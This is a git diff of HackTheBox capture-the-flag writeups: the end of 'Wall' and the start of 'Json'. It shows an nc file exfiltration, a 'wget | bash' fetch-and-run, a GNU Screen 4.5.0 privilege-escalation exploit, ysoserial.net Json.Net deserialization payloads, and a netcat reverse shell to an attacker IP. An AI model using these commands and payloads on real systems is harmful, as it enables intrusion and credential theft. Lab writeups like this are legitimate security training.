-rw-r--r-- 1 root root 52 Jul 4 2019 /share/screen/utf8encodings/c7 + 788633 36 -rw-r--r-- 1 root root 32926 Jul 4 2019 /share/screen/utf8encodings/03 + 788646 4 -rw-r--r-- 1 root root 52 Jul 4 2019 /share/screen/utf8encodings/cd + 788631 32 -rw-r--r-- 1 root root 29808 Jul 4 2019 /share/screen/utf8encodings/01 + 788635 56 -rw-r--r-- 1 root root 54862 Jul 4 2019 /share/screen/utf8encodings/18 + 788644 4 -rw-r--r-- 1 root root 40 Jul 4 2019 /share/screen/utf8encodings/c8 + 273100 1560 -rwsr-xr-x 1 root root 1595624 Jul 4 2019 /bin/screen-4.5.0 + 1075171 4 -rw-rw-r-- 1 centreon centreon 634 Jul 3 2019 /usr/local/centreon/log/statistics.log + 143906 16 -rw-r--r-- 1 www-data www-data 15325 Jul 30 2019 /usr/local/centreon/GPL_LIB/SmartyCache/compile/%%EE^EE6^EE652FDC%%formMyAccount.ihtml.php + 141228 4 -rw-r--r-- 1 root root 44 Jul 4 2019 /etc/subuid + 273057 4 -rw-r--r-- 1 root root 527 Jul 4 2019 /etc/modsecurity/modsecurity.conf + 131078 4 -rw-r--r-- 1 root root 188 Jul 30 2019 /etc/hosts + 143933 4 -rw-r--r-- 1 root root 1629 Jul 4 2019 /etc/passwd + 131220 4 -rw-r--r-- 1 root root 879 Jul 4 2019 /etc/group- + 138666 4 -rw-r--r-- 1 root root 44 Jul 4 2019 /etc/subgid + 143907 4 -rw-r--r-- 1 root root 3611 Jul 30 2019 /etc/mailcap + 400121 4 -rw-rw-r-- 1 sysmonitor sysmonitor 173 Jul 4 2019 /home/sysmonitor/.wget-hsts + 400169 8 -rw-rw-r-- 1 shelby shelby 4567 Jul 30 2019 /home/shelby/html.zip + 400147 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 /home/shelby/.rpmdb/Group + 400141 124 -rw-r--r-- 1 shelby shelby 270335 Jul 4 2019 /home/shelby/.rpmdb/__db.001 + 400148 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 /home/shelby/.rpmdb/Requirename + 400143 120 -rw-r--r-- 1 shelby shelby 266239 Jul 4 2019 /home/shelby/.rpmdb/__db.003 + 400158 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 /home/shelby/.rpmdb/Transfiletriggername + 400160 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 /home/shelby/.rpmdb/Suggestname + 400161 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 /home/shelby/.rpmdb/Supplementname + 400142 72 -rw-r--r-- 1 shelby shelby 73727 Jul 4 2019 /home/shelby/.rpmdb/__db.002 + 400155 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 /home/shelby/.rpmdb/Sigmd5 + 400159 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 /home/shelby/.rpmdb/Recommendname + 400140 0 -rw-r--r-- 1 shelby shelby 0 Jul 4 2019 /home/shelby/.rpmdb/.dbenv.lock + 400157 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 /home/shelby/.rpmdb/Filetriggername + 400149 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 /home/shelby/.rpmdb/Providename + 400153 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 /home/shelby/.rpmdb/Dirnames + 400146 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 /home/shelby/.rpmdb/Basenames + 400151 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 /home/shelby/.rpmdb/Obsoletename + 400144 8 -rw-r--r-- 1 shelby shelby 12288 Jul 4 2019 /home/shelby/.rpmdb/Packages + 400156 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 /home/shelby/.rpmdb/Sha1header + 400162 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 /home/shelby/.rpmdb/Enhancename + 400150 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 /home/shelby/.rpmdb/Conflictname + 400152 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 /home/shelby/.rpmdb/Triggername + 400145 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 /home/shelby/.rpmdb/Name + 400154 8 -rw-r--r-- 1 shelby shelby 8192 Jul 4 2019 /home/shelby/.rpmdb/Installtid + 9 4 -rw-r--r-- 1 www-data www-data 154 Jul 4 2019 /dev/shm/html/monitoring/index.md + 7 4 -rw-r--r-- 1 www-data www-data 47 Jul 4 2019 /dev/shm/html/panel.php + 655701 12 -rw-r--r-- 1 root root 192064 Jul 4 2019 /var/log/faillog + 655463 8 -rw-r--r-- 1 root root 4567 Jul 30 2019 /var/www/html.zip + 671129 4 -rw-r--r-- 1 root root 47 Jul 4 2019 /var/www/html/panel.php + 671103 4 -rw-r--r-- 1 root root 154 Jul 4 2019 /var/www/html/monitoring/index.md + 667113 12 -rw-r--r-- 1 root root 10615 Jul 30 2019 /var/lib/dpkg/info/python-crypto.list + 667208 4 -rw-r--r-- 1 root root 1657 Jul 30 2019 /var/lib/dpkg/info/python-pkg-resources.list + 667048 4 -rw-r--r-- 1 root root 1184 Jul 30 2019 /var/lib/dpkg/info/libexpat1-dev:amd64.list + 667189 4 -rw-r--r-- 1 root root 1570 Jul 30 2019 /var/lib/dpkg/info/python-keyrings.alt.list + 667091 4 -rw-r--r-- 1 root root 64 Jul 30 2019 /var/lib/dpkg/info/python-all-dev.list + 667181 4 -rw-r--r-- 1 root root 2996 Jul 30 2019 /var/lib/dpkg/info/python-keyring.list + 667201 8 -rw-r--r-- 1 root root 5416 Jul 30 2019 /var/lib/dpkg/info/python-pip.list + 667082 4 -rw-r--r-- 1 root root 517 Jul 30 2019 /var/lib/dpkg/info/python2.7-dev.list + 667104 4 -rw-r--r-- 1 root root 297 Jul 30 2019 /var/lib/dpkg/info/python-cffi-backend.list + 667135 4 -rw-r--r-- 1 root root 593 Jul 30 2019 /var/lib/dpkg/info/python-ipaddress.list + 667070 4 -rw-r--r-- 1 root root 67 Jul 30 2019 /var/lib/dpkg/info/libpython-all-dev:amd64.list + 667172 4 -rw-r--r-- 1 root root 750 Jul 30 2019 /var/lib/dpkg/info/python-secretstorage.list + 667222 4 -rw-r--r-- 1 root root 1777 Jul 30 2019 /var/lib/dpkg/info/python-wheel.list + 667151 8 -rw-r--r-- 1 root root 6981 Jul 30 2019 /var/lib/dpkg/info/python-cryptography.list + 655480 4 -rw-r--r-- 1 root root 445 Jul 30 2019 /var/lib/dpkg/info/zip.list + 667128 4 -rw-r--r-- 1 root root 889 Jul 30 2019 /var/lib/dpkg/info/python-idna.list + 667165 4 -rw-r--r-- 1 root root 1878 Jul 30 2019 /var/lib/dpkg/info/python-gi.list + 667076 4 -rw-r--r-- 1 root root 60 Jul 30 2019 /var/lib/dpkg/info/python-all.list + 667229 4 -rw-r--r-- 1 root root 1028 Jul 30 2019 /var/lib/dpkg/info/python-xdg.list + 667099 4 -rw-r--r-- 1 root root 2074 Jul 30 2019 /var/lib/dpkg/info/python-asn1crypto.list + 667072 0 -rw-r--r-- 1 root root 0 Jul 30 2019 /var/lib/dpkg/info/libpython-all-dev:amd64.md5sums + 667143 4 -rw-r--r-- 1 root root 574 Jul 30 2019 /var/lib/dpkg/info/python-six.list + 667087 0 -rw-r--r-- 1 root root 0 Jul 30 2019 /var/lib/dpkg/info/python-dev.md5sums + 667215 8 -rw-r--r-- 1 root root 6133 Jul 30 2019 /var/lib/dpkg/info/python-setuptools.list + 667194 4 -rw-r--r-- 1 root root 1584 Jul 30 2019 /var/lib/dpkg/info/python-pip-whl.list + 667061 8 -rw-r--r-- 1 root root 4511 Jul 30 2019 /var/lib/dpkg/info/libpython2.7-dev:amd64.list + 667158 4 -rw-r--r-- 1 root root 1515 Jul 30 2019 /var/lib/dpkg/info/python-dbus.list + 667077 0 -rw-r--r-- 1 root root 0 Jul 30 2019 /var/lib/dpkg/info/python-all.md5sums + 655475 4 -rw-r--r-- 1 root root 614 Jul 30 2019 /var/lib/dpkg/info/unzip.list + 667086 4 -rw-r--r-- 1 root root 394 Jul 30 2019 /var/lib/dpkg/info/python-dev.list + 667121 4 -rw-r--r-- 1 root root 968 Jul 30 2019 /var/lib/dpkg/info/python-enum34.list + 667066 4 -rw-r--r-- 1 root root 334 Jul 30 2019 /var/lib/dpkg/info/libpython-dev:amd64.list + 667092 0 -rw-r--r-- 1 root root 0 Jul 30 2019 /var/lib/dpkg/info/python-all-dev.md5sums + 671145 52 -rw-r--r-- 1 root root 51200 Jul 4 2019 /var/backups/alternatives.tar.0 + 655477 28 -rw-r--r-- 1 root root 26396 Jul 30 2019 /var/backups/apt.extended_states.0 + + + +So running this command, we can get the readable files in between the 2 timestamps we want , piping the error messages into /dev/null and ignoring python's ton of dist-packages. At the very top of that output we are hinted towards a file named backup in /opt/.shelby + + + www-data@Wall:/dev/shm/html/monitoring$ file /opt/.shelby/backup + /opt/.shelby/backup: python 2.7 byte-compiled + + +So let's execute it and see what it does: + + + www-data@Wall:/dev/shm/html/monitoring$ python /opt/.shelby/backup + [+] Done ! + + www-data@Wall:/dev/shm/html/monitoring$ ls -lash /home/shelby + total 48K + 4.0K drwxr-xr-x 6 shelby shelby 4.0K Jul 30 2019 . + 4.0K drwxr-xr-x 4 root root 4.0K Jul 4 2019 .. + 0 lrwxrwxrwx 1 root root 9 Jul 6 2019 .bash_history -> /dev/null + 4.0K -rw-r--r-- 1 shelby shelby 220 Apr 4 2018 .bash_logout + 4.0K -rw-r--r-- 1 shelby shelby 3.7K Apr 4 2018 .bashrc + 4.0K drwx------ 2 shelby shelby 4.0K Jul 4 2019 .cache + 4.0K drwx------ 3 shelby shelby 4.0K Jul 4 2019 .gnupg + 4.0K drwxrwxr-x 3 shelby shelby 4.0K Jul 4 2019 .local + 4.0K -rw-r--r-- 1 shelby shelby 807 Apr 4 2018 .profile + 4.0K drwxr-xr-x 2 shelby shelby 4.0K Jul 4 2019 .rpmdb + **8.0K -rw-rw-r-- 1 shelby shelby 4.5K May 1 13:21 html.zip** + 4.0K -rw------- 1 shelby shelby 33 Jul 4 2019 user.txt + + +Looks like it updated the html.zip file in shelby's home directory, which obviously, this python file achieved some kind of an authentication to do so. That is because, we (as www-data) cannot write in shelby's home directory: + + + www-data@Wall:/dev/shm/html/monitoring$ touch test /home/shelby/123 + touch: cannot touch '/home/shelby/123': Permission denied + + + +So it means that this python binary that we executed as www-data, managed to update a file in shelby's home directory. Python binaries are reversable so let's copy it to our local machine: + +_Terminal 1:_ + + + + www-data@Wall:/dev/shm/html/monitoring$ cd /opt/.shelby + www-data@Wall:/opt/.shelby$ ls -lash + total 12K + 4.0K drwxr-xr-x 2 root root 4.0K Jul 30 2019 . + 4.0K drwxr-xr-x 3 root root 4.0K Jul 4 2019 .. + 4.0K -rw-r--r-- 1 root root 1.2K Jul 30 2019 backup + www-data@Wall:/opt/.shelby$ which nc + /bin/nc + www-data@Wall:/opt/.shelby$ cat backup | nc 10.10.14.8 9002 + www-data@Wall:/opt/.shelby$ file backup && md5sum backup + backup: python 2.7 byte-compiled + afc565ae6f186586eef0f5d4e1ff9f5f backup + + +` _Terminal 2:_ + + + [ 10.10.14.8/23 ] [ /dev/pts/4 ] [~/_HTB/Wall] + → nc -lvnp 9002 > backup + listening on [any] 9002 ... + connect to [10.10.14.8] from (UNKNOWN) [10.10.10.157] 52084 + ^C + + [ 10.10.14.8/23 ] [ /dev/pts/4 ] [~/_HTB/Wall] + → file backup && md5sum backup + backup: python 2.7 byte-compiled + afc565ae6f186586eef0f5d4e1ff9f5f backup + + +Here we see that we successfully saved the backup file to our local machine since both their md5 hashes are the same. Now to decompile this backup file we use a python utility called "uncompyle" + + + [ 10.10.14.8/23 ] [ /dev/pts/4 ] [~/_HTB/Wall] + → sudo pip3 install uncompyle + [sudo] password for nothing: + Collecting uncompyle + Downloading uncompyle-2.0.0-py2.py3-none-any.whl (2.2 kB) + Collecting uncompyle6 + Downloading uncompyle6-3.6.7-py3-none-any.whl (311 kB) + |████████████████████████████████| 311 kB 1.8 MB/s + Collecting xdis<****4.6.0,>=4.5.1 + Downloading xdis-4.5.1-py37-none-any.whl (115 kB) + |████████████████████████████████| 115 kB 8.7 MB/s + Collecting spark-parser <****1.9.0,>=1.8.9 + Downloading spark_parser-1.8.9-py38-none-any.whl (18 kB) + Requirement already satisfied: click in /usr/lib/python3/dist-packages (from spark-parser <****1.9.0,>=1.8.9->uncompyle6->uncompyle) (7.0) + Installing collected packages: xdis, spark-parser, uncompyle6, uncompyle + Successfully installed spark-parser-1.8.9 uncompyle-2.0.0 uncompyle6-3.6.7 xdis-4.5.1 + + [ 10.10.14.8/23 ] [ /dev/pts/5 ] [~/_HTB/Wall] + → uncompyle6 backup + + # file backup + # path backup must point to a .py or .pyc file + + [ 10.10.14.8/23 ] [ /dev/pts/5 ] [~/_HTB/Wall] + → mv backup backup.pyc + + [ 10.10.14.8/23 ] [ /dev/pts/5 ] [~/_HTB/Wall] + → uncompyle6 backup.pyc > backup.py + + [ 10.10.14.8/23 ] [ /dev/pts/5 ] [~/_HTB/Wall] + → nano backup.py + + + # uncompyle6 version 3.6.7 + # Python bytecode 2.7 (62211) + # Decompiled from: Python 3.8.2 (default, Apr 1 2020, 15:52:55) + # [GCC 9.3.0] + # Embedded file name: backup.py + # Compiled at: 2019-07-30 15:38:22 + import paramiko + username = 'shelby' + host = 'wall.htb' + port = 22 + transport = paramiko.Transport((host, port)) + password = '' + password += chr(ord('S')) + password += chr(ord('h')) + password += chr(ord('e')) + password += chr(ord('l')) + password += chr(ord('b')) + password += chr(ord('y')) + password += chr(ord('P')) + password += chr(ord('a')) + password += chr(ord('s')) + password += chr(ord('s')) + password += chr(ord('w')) + password += chr(ord('@')) + password += chr(ord('r')) + password += chr(ord('d')) + password += chr(ord('I')) + password += chr(ord('s')) + password += chr(ord('S')) + password += chr(ord('t')) + password += chr(ord('r')) + password += chr(ord('o')) + password += chr(ord('n')) + password += chr(ord('g')) + password += chr(ord('!')) + transport.connect(username=username, password=password) + sftp_client = paramiko.SFTPClient.from_transport(transport) + sftp_client.put('/var/www/html.zip', 'html.zip') + print '[+] Done !' + # okay decompiling backup.pyc + + +And so we have shelby's credentials ! shelby:ShelbyPassw@rdIsStrong! so we can try to use it to login via ssh: + + + + [ 10.10.14.8/23 ] [ /dev/pts/5 ] [~/_HTB/Wall] + → ssh shelby@10.10.10.157 + The authenticity of host '10.10.10.157 (10.10.10.157)' can't be established. + ECDSA key fingerprint is SHA256:rUe3KWmT3ZJhKW+86+Zm8EKcgYr9TPlkU+W962iQEUY. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.157' (ECDSA) to the list of known hosts. + shelby@10.10.10.157's password: + Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-54-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + + * Canonical Livepatch is available for installation. + - Reduce system reboots and improve kernel security. Activate at: + https://ubuntu.com/livepatch + Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings + + Last login: Tue Jul 30 17:36:33 2019 from 192.168.178.1 + shelby@Wall:~$ id + uid=6001(shelby) gid=6001(shelby) groups=6001(shelby) + shelby@Wall:~$ cat user.txt + + feXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! We have been able to print the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc to root we can use a cool privesc tool called [Linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/) it was made by [ carlospolop](https://github.com/carlospolop/) + +_Terminal 1:_ + + + [ 10.10.14.8/23 ] [ /dev/pts/4 ] [/opt] + → sudo git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/ + Cloning into 'privilege-escalation-awesome-scripts-suite'... + remote: Enumerating objects: 166, done. + remote: Counting objects: 100% (166/166), done. + remote: Compressing objects: 100% (134/134), done. + remote: Total 1933 (delta 100), reused 62 (delta 31), pack-reused 1767 + Receiving objects: 100% (1933/1933), 11.30 MiB | 4.46 MiB/s, done. + Resolving deltas: 100% (1051/1051), done. + + [ 10.10.14.8/23 ] [ /dev/pts/4 ] [/opt] + → sudo updatedb + + [ 10.10.14.8/23 ] [ /dev/pts/4 ] [/opt] + → cd - + /home/nothing/_HTB/Wall + + [ 10.10.14.8/23 ] [ /dev/pts/4 ] [~/_HTB/Wall] + → locate linpeas.sh + /opt/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh + + [ 10.10.14.8/23 ] [ /dev/pts/4 ] [~/_HTB/Wall] + → cp /opt/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh . + + [ 10.10.14.8/23 ] [ /dev/pts/4 ] [~/_HTB/Wall] + → python -m SimpleHTTPServer 9090 + Serving HTTP on 0.0.0.0 port 9090 ... + + +` _Terminal 2:_ + + + shelby@Wall:~$ which wget; which curl; which nc + /usr/bin/wget + /bin/nc + + shelby@Wall:~$ wget http://10.10.14.8:9090/linpeas.sh -O - | bash + + +` ![](prg/46_014.png) + +LinPEAS is preety cool because it adds color to our privilege escalation checks unlike the usual LinEnum.sh, so we can pinpoint what's important more quickly. + +![](prg/46_015.png) + +So here we are hinted towards the /bin/screen-4.5.0 binary which seems to contain a very likely privesc vector: + + + + [ 10.10.14.8/23 ] [ /dev/pts/6 ] [~/_HTB/Wall] + → searchsploit screen | grep 4.5 + GNU Screen 4.5.0 - Local Privilege E | exploits/linux/local/41152.txt + GNU Screen 4.5.0 - Local Privilege E | exploits/linux/local/41154.sh + PeerBlock 1.1 - Blue Screen of Death | exploits/windows/dos/18475.txt + Solaris 11.4 - xscreensaver Privileg | exploits/solaris/local/47529.txt + Solaris xscreensaver 11.4 - Privileg | exploits/solaris/local/47509.txt + + + +So here we see the public exploits available to us, which should ring a bell because we also did a privesc through the screen binary back in the [Haircut](8.html) box which had literally the same binary as this box, so it will be quite similar: + +_Terminal 1:_ + + + + [ 10.10.14.8/23 ] [ /dev/pts/6 ] [~/_HTB/Wall] + → locate 41154.sh + /usr/share/exploitdb/exploits/linux/local/41154.sh + + [ 10.10.14.8/23 ] [ /dev/pts/6 ] [~/_HTB/Wall] + → cp /usr/share/exploitdb/exploits/linux/local/41154.sh . + + [ 10.10.14.8/23 ] [ /dev/pts/6 ] [~/_HTB/Wall] + → python -m SimpleHTTPServer 9090 + Serving HTTP on 0.0.0.0 port 9090 ... + + +` _Terminal 2:_ + + + shelby@Wall:~$ ls + html.zip user.txt + shelby@Wall:~$ wget http://10.10.14.8:9090/41154.sh + --2020-05-01 14:14:09-- http://10.10.14.8:9090/41154.sh + Connecting to 10.10.14.8:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 1192 (1.2K) [text/x-sh] + Saving to: ‘41154.sh’ + + 41154.sh 100%[===========================================================>] 1.16K --.-KB/s in 0s + + 2020-05-01 14:14:09 (120 MB/s) - ‘41154.sh’ saved [1192/1192] + + shelby@Wall:~$ bash 41154.sh + + [...] + + # cat /root/root.txt + 1fXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it! We have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/46_graph.png) + diff --git a/Medium/47.md b/Medium/47.md new file mode 100644 index 0000000..f9c64cf --- /dev/null +++ b/Medium/47.md @@ -0,0 +1,410 @@ +# Json Writeup + +![](img/47.png) + +## Introduction : + +Json is a Medium windows box released back in September 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + + [ 10.10.14.8/23 ] [ /dev/pts/3 ] [~/_HTB/Json] + → sudo nmap -vvv -sTU -p- 10.10.10.158 --max-retries 0 -Pn --min-rate=1000 | grep Discovered + Discovered open port 137/udp on 10.10.10.158 + Discovered open port 139/tcp on 10.10.10.158 + Discovered open port 21/tcp on 10.10.10.158 + Discovered open port 445/tcp on 10.10.10.158 + Discovered open port 80/tcp on 10.10.10.158 + Discovered open port 49154/tcp on 10.10.10.158 + + [ 10.10.14.8/23 ] [ /dev/pts/3 ] [~/_HTB/Json] + → sudo nmap -sTU -p 137,139,21,445,80,49154 -sCV + Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-01 23:59 BST + WARNING: No targets were specified, so 0 hosts scanned. + Nmap done: 0 IP addresses (0 hosts up) scanned in 0.94 seconds + + [ 10.10.14.8/23 ] [ /dev/pts/3 ] [~/_HTB/Json] + → sudo nmap -sTU -p 137,139,21,445,80,49154 -sCV 10.10.10.158 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-02 00:00 BST + Nmap scan report for 10.10.10.158 + Host is up (0.15s latency). + + PORT STATE SERVICE VERSION + 21/tcp open ftp FileZilla ftpd + | ftp-syst: + |_ SYST: UNIX emulated by FileZilla + 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) + | http-methods: + |_ Potentially risky methods: TRACE + |_http-server-header: Microsoft-IIS/8.5 + |_http-title: Json HTB + 137/tcp closed netbios-ns + 139/tcp open netbios-ssn Microsoft Windows netbios-ssn + 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds + 49154/tcp open msrpc Microsoft Windows RPC + 21/udp closed ftp + 80/udp closed http + 137/udp open netbios-ns Microsoft Windows netbios-ns (workgroup: WORKGROUP) + 139/udp closed netbios-ssn + 445/udp closed microsoft-ds + 49154/udp closed unknown + Service Info: Host: JSON; OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: mean: 4h00m49s, deviation: 0s, median: 4h00m49s + |_nbstat: NetBIOS name: JSON, NetBIOS user: , NetBIOS MAC: 00:50:56:b9:c1:28 (VMware) + |_smb-os-discovery: ERROR: Script execution failed (use -d to debug) + | smb-security-mode: + | authentication_level: user + | challenge_response: supported + |_ message_signing: disabled (dangerous, but default) + | smb2-security-mode: + | 2.02: + |_ Message signing enabled but not required + | smb2-time: + | date: 2020-05-02T03:01:59 + |_ start_date: 2020-05-02T02:06:16 + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 83.50 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so upon investigating it we first get a webpage that loads very slowly which also tries to redirect us to another page. The webpage takes forever to load because it is full of dead links which obviously ends up 404ing after a certain timeout: + +![](prg/47_001.png) + +Preety much everything on this page is unusuable and broken, so we take a look at the sourcecode to find the login page url: + +![](prg/47_002.png) + +So we'll use burpsuite to examine the login request: + +![](prg/47_003.png) + +Intercept the request with foxyproxy (127.0.0.1:8080) and burpsuite's intercepter, and then send it to the repeater (CTRL+R) and go there (CTRL+SHIFT+R) + +And sadly sending the login request gives us a 404 status code. Hopefully for us this machine has got some predictable credentials: + +![](prg/47_005.png) + +And we get a base64 encoded OAuth cookie, so let's decode it: + + + [ 192.168.0.32/24 ] [ /dev/pts/3 ] [~/_HTB/Json] + → echo 'eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=' | base64 -d + {"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"} + + +And we seem to get credentials, most importantly a password that looks like a hash, but still that's just a cookie, so we'll leave it as it is. So we forward the request to login as admin, to get preety much the same page as before with just as many dead links. The only difference being, when we examine the network side of the webpage (F12, network, asc status codes) we see an interesting url which is /api/Account + +![](prg/47_006.png) + +From here we are heavily hinted towards a json application running on .NET, if we inspect this /api/Account URL further, causing an error onto the **Bearer** header, we are able to get hinted towards a de-serialization attack vector for the initial foothold. The trick here was to mess around with the Bearer parameter of the request being sent for /api/Account which normally contains the OAuth Cookie parameter: + +![](prg/47_007.png) ![](prg/47_008.png) + +Once we start messing with the Bearer HTTP Header, we get the specific error "Cannot deserialize Json.Net Object" which heavily hints us towards a Json .NET deserialization exploit. And in particular towards [ysoserial.net](https://github.com/pwntester/ysoserial.net) + +Now in order to continue here we need to head over to a windows host to make use of the ysoserial.net binary: + +![](prg/47_013.png) ![](prg/47_016.png) + +Double click it, and send it to the repeater with **CTRL+R** , and go there with **CTRL+SHIFT+R** + +![](prg/47_018.png) + +Once here we modify the Bearer parameter with a payload and we want to test if the machine can ping our host: + + + PS C:\Users\Administrator\Desktop\Github\ysoserial> .\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "ping 10.10.14.11" + { + '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', + 'MethodName':'Start', + 'MethodParameters':{ + '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', + '$values':['cmd', '/c ping 10.10.14.11'] + }, + 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} + } + + + +Now our Bearer header is in base64, so we use the base64 format: + + + PS C:\Users\Administrator\Desktop\Github\ysoserial> .\ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c "ping 10.10.14.11" + ew0KICAgICckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1JywgDQogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsDQogICAgJ01ldGhvZFBhcmFtZXRlcnMnOnsNCiAgICAgICAgJyR0eXBlJzonU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5JywNCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywgJy9jIHBpbmcgMTAuMTAuMTQuMTEnXQ0KICAgIH0sDQogICAgJ09iamVjdEluc3RhbmNlJzp7JyR0eXBlJzonU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODknfQ0KfQ== + + +And we use tcpdump to check the incoming ICMP packets on our tun0 interface: + + + [ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/HTB/json] + → sudo tcpdump -i tun0 icmp + [sudo] password for nothing: + tcpdump: verbose output suppressed, use -v[v]... for full protocol decode + listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes + + + +So we inject the Bearer header with our base64 deserialisation payload, and click Send, which causes an error: + +![](prg/47_019.png) + +But most importantly, it shows you that we have been able to do remote code execution: + + + [ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/HTB/json] + → sudo tcpdump -i tun0 icmp + [sudo] password for nothing: + tcpdump: verbose output suppressed, use -v[v]... for full protocol decode + listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes + 08:41:58.395646 IP 10.10.10.158 > nowhere: ICMP echo request, id 1, seq 1, length 40 + 08:41:58.395676 IP nowhere > 10.10.10.158: ICMP echo reply, id 1, seq 1, length 40 + 08:41:59.398638 IP 10.10.10.158 > nowhere: ICMP echo request, id 1, seq 2, length 40 + 08:41:59.398662 IP nowhere > 10.10.10.158: ICMP echo reply, id 1, seq 2, length 40 + 08:42:00.414385 IP 10.10.10.158 > nowhere: ICMP echo request, id 1, seq 3, length 40 + 08:42:00.414408 IP nowhere > 10.10.10.158: ICMP echo reply, id 1, seq 3, length 40 + 08:42:01.429977 IP 10.10.10.158 > nowhere: ICMP echo request, id 1, seq 4, length 40 + 08:42:01.430001 IP nowhere > 10.10.10.158: ICMP echo reply, id 1, seq 4, length 40 + + + +So from here we can simply change the payload to a reverse shell payload, we will do so with the netcat binary: + + + [ 10.10.14.11/23 ] [ /dev/pts/17 ] [~/HTB/json] + → tree . + . + ├── binaries + **├── nihilist + │   ├── nc.exe + │   └── xc.exe** + ├── nihilist.ps1 + ├── nc64.exe + ├── xc + └── ysoserialpayload + + 2 directories, 6 files + + [ 10.10.14.11/23 ] [ /dev/pts/17 ] [~/HTB/json] + → sudo **impacket-smbserver nihilist nihilist -smb2support** + [sudo] password for nothing: + Impacket v0.9.23.dev1+20210519.170900.2f5c2476 - Copyright 2020 SecureAuth Corporation + + [*] Config file parsed + [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 + [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 + [*] Config file parsed + [*] Config file parsed + [*] Config file parsed + + + +So here we created a smb share that the box will access to directly execute the xc.exe binary without the need to download it. + + + PS C:\Users\Administrator\Desktop\Github\ysoserial> .\ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c "\\10.10.14.11\nihilist\nc.exe 10.10.14.11 9001 -e cmd.exe" + 